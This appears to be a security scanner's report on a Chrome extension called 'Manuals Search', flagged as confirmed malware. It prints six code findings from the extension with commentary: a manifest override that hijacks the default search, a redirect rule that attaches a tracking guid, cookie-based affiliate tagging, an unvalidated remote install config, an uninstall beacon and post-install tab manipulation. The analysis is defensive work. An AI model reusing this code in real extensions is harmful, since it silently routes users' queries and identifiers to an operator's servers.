Security Alert: Confirmed Malware
Manuals Search
ID: fdnjcphgbbamiigahopckmgopddacnfa
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Manuals LibraryView Profile
- Privacy
- Privacy Policy
- Country
- US
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Address
- 248 3rd St Oakland, CA 94607-4375 US
- Website
- Visit
Search Manuals in the browser address bar and manage your web search & manuals search provider.
This extension updates browser search provider and enable users to get results for free product Manuals. How do I Search for Free Manuals? 1. Type "manuals" in the browser address bar and click "Space" or "Tab" in your keyboard 2. Input your search keyword and hit ""enter"" You can also Search for Manuals by clicking on Extension icon in browser and using the input box in Extension Modal. Easily get access to millions of web and manuals search results with this extension. This extension updates your browser default search settings in the following ways: - Allows for custom Manuals searches directly from your browser omnibox - Sets Yahoo as the default search setting in your browser" By installing this extension, you agree to the Terms of Use (https://manualsearch-serp.org/terms-of-service/) and Privacy Policy (https://manualsearch-serp.org/privacy-policy/)
Combined with chrome_settings_overrides.search_provider in the manifest (which hijacks the default browser search to manualsearch-svc.org), this dynamic declarativeNetRequest rule rewrites every search request through services.manualsearch-svc.org/crx/search.php, attaching the installation guid for cross-session tracking. This is classic search-hijacking monetization: every query the user types in the address bar is routed through the operator's affiliate proxy with a persistent identifier.
chrome.declarativeNetRequest.updateDynamicRules({ removeRuleIds: [1], addRules: [{ id: 1, priority: 1, action: { type: "redirect", redirect: { regexSubstitution: `https://services.${this.config.apiDomain}/crx/search.php?k=\\1&action=ds&guid=${guid}`, }, }, condition: { regexFilter: `https://services.${this.config.apiDomain}/search/(.*)`, isUrlFilterCaseSensitive: false, resourceTypes: ["main_frame"], }, }, ],});The extension forces itself as the default search provider (is_default: true) under the generic name 'Web', sending every address-bar query and every keystroke (suggest_url) to manualsearch-svc.org. This is search hijacking — users typing into Chrome's omnibox have their queries silently exfiltrated to a third-party affiliate domain rather than their chosen search engine.
{ "chrome_settings_overrides": { "search_provider": { "name": "Web", "is_default": true, "encoding": "UTF-8", "keyword": "search", "favicon_url": "https://services.manualsearch-svc.org/favicon.ico", "search_url": "https://services.manualsearch-svc.org/search/{searchTerms}", "suggest_url": "https://sug.manualsearch-svc.org/sug/?s={searchTerms}" } }}Reads a JSON-encoded 'ext_config' cookie set by manualsearch-svc.org and copies all its key/value pairs into chrome.storage. This is a covert affiliate/partner-tagging channel — landing pages drop a cookie containing identifiers (subid, tbid, partner_name, region, location, ty_url, etc.) which the extension consumes silently at install to attribute the install and customize behavior, a hallmark of search-hijacker affiliate distribution networks.
const getConfigCookie = async () => { const cookies = await chrome.cookies.getAll({ domain: this.config.apiDomain, name: CONFIG_COOKIE_NAME, }); for (let i = 0; i < cookies.length; i++) { const cookieObj = JSON.parse(cookies[i].value); if (cookieObj && cookieObj !== null) Object.keys(cookieObj) .map( async key => await setSetting(key, cookieObj[key], key === "guid") ); }};On first install, the extension calls a remote 'install' API on ext.manualsearch-svc.org sending partner/region/extId/version identifiers, and then writes whatever arbitrary key/value pairs the server returns into chrome.storage with no validation or schema. Server-controlled config blindly persisted to extension storage is a remote configuration / kill-switch channel that lets the operator change behavior post-install without an extension update.
const install = async () => { const src = `https://ext.${this.config.apiDomain}/api/v2/json/install?` + `&eType=${this.config.eType}&ext.yid=${ this.config.yID }&ext.domain=${await getSetting( "domain" )}&ext.partner_name=${await getSetting( "partner_name" )}&ext.region=${await getSetting( "region" )}&ext.id=${await getSetting( "extId" )}&ext.version=${await getSetting( "extVersion" )}`; const installRes = await fetch(src, { headers: { "Content-Type": "application/json" }, }); ... const config = await installRes.json(); await Promise.all( Object.entries(config) .map( async ([key, value]) => await setSetting(key, value, key === "guid") ) );};Sets a beacon URL fired on uninstall that includes the persistent guid and a base64-encoded uninstallID (decodes to '358393Ly9hcmNhZGV0YWIuY29t' → '//arcadetab.com'-style affiliate). This sends an attribution ping to the operator on every removal so the affiliate network can track churn and potentially redirect the closing tab to another monetized landing page.
const setUninstall = async () => { const uninstallUrl = `https://uninstall.${this.config.apiDomain}/?id=${ this.config.uninstallID }&guid=${await getSetting("guid", true)}`; chrome.runtime.setUninstallURL(uninstallUrl, () => {});};Immediately after install, the extension closes the user's Chrome Web Store tab and reaches back into the affiliate landing-page tab (URL stored from a cookie) to mutate it with an 'ext-installed' fragment, then opens an additional thank-you tab read from a 'ty_url' cookie. This is silent post-install tab manipulation used by affiliate-distribution networks to fire conversion pixels and conceal the install funnel from the user.
const updateCWSAndLPTab = async () => { if (await getSetting("location")) { const cwsTabs = await chrome.tabs.query({ url: `*://chrome.google.com/webstore*${await getSetting( "extId" )}*`, }); for (const tab of cwsTabs) { if (await getSetting(TY_COOKIE_NAME)) { chrome.tabs.remove(tab.id); } } const lpTab = await chrome.tabs.query({ url: `${await getSetting("location")}*`, }); if (lpTab && lpTab[0] && lpTab[0].id) { const updatedTab = await chrome.tabs.update(lpTab[0].id, { url: updateHash(lpTab[0].url, "ext-installed"), }); } } openFirstRunPage();};By severity
Versions scanned
Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.23.801 | 6 |
Files with findings
2 distinct paths — top paths by unique finding count:
- lib/ext.js5
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.